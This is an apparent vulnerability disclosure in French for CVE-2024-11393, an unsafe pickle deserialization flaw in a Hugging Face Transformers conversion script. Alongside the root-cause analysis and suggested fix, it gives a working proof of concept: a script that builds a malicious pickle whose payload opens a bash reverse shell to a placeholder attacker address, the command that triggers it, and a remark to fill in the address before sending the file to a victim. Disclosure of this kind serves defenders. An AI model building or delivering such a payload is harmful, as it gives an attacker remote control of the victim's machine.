
Détails techniques et exploit pour CVE-2024-11393
Présentation générale et effets de la vulnérabilité :
La vulnérabilité permet à un attaquant d'exécuter du code arbitraire sur la machine hôte en fournissant un fichier de point de contrôle maskformer resnet malveillant au script convert_maskformer_swin_to_pytorch.py du dépôt Hugging Face Transformers.
Si un utilisateur peu méfiant utilise un fichier de point de contrôle maskformer resnet tiers, l'exécution du script convert_maskformer_swin_to_pytorch.py entraînera une exécution de code à distance (RCE) sur le système de la victime.
Le produit vulnérable
Analyse de la cause racine
Description détaillée de la vulnérabilité : La vulnérabilité résulte d'une désérialisation non sécurisée de données non fiables. Le script utilise pickle.load pour charger le fichier de point de contrôle et est vulnérable à l'exécution de code.
Flux de code de l'entrée à la condition vulnérable :
maskformer tiers.convert_maskformer_swin_to_pytorch.py et lui transmet le fichier de point de contrôle.convert_maskformer_swin_to_pytorch.py désérialise le fichier de point de contrôle et exécute le code malveillant.Point d'injection : La vulnérabilité se produit au moment où pickle.load est appelé.
Lien GitHub permanent : https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/maskformer/convert_maskformer_swin_to_pytorch.py#L240
Correctifs suggérés : Remplacez pickle.load par yaml.safe_load(yaml_file) ou json.load pour empêcher l'exécution de code arbitraire.
Instructions pour exécuter la preuve de concept :
malicious.pkl qui créera un shell inversé sur le système de la victime :# exploit.py
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ('bash -i >& /dev/tcp/ADRESSE_ATTAQUANT/PORT_ATTAQUANT 0>&1',))
malicious_data = pickle.dumps(Exploit())
with open('malicious.pkl', 'wb') as f:
f.write(malicious_data)
print("Fichier pickle malveillant créé avec succès.")
Remarque : Modifiez ADRESSE_ATTAQUANT et PORT_ATTAQUANT avant d'envoyer le fichier à la victime.
convert_maskformer_swin_to_pytorch.py en transmettant le fichier malicious.pkl à --checkpoint_path :> python convert_maskformer_swin_to_pytorch.py --checkpoint_path malicious.pkl --model_name maskformer-swin-tiny-ade --pytorch_dump_folder_path . --push_to_hub
Remarque : Le
pytorch_dump_folder_pathpeut être défini sur n'importe quel répertoire, et lemodel_namepeut être n'importe quel modèle.
Lien de téléchargement du logiciel :
https://github.com/huggingface/transformers/tree/main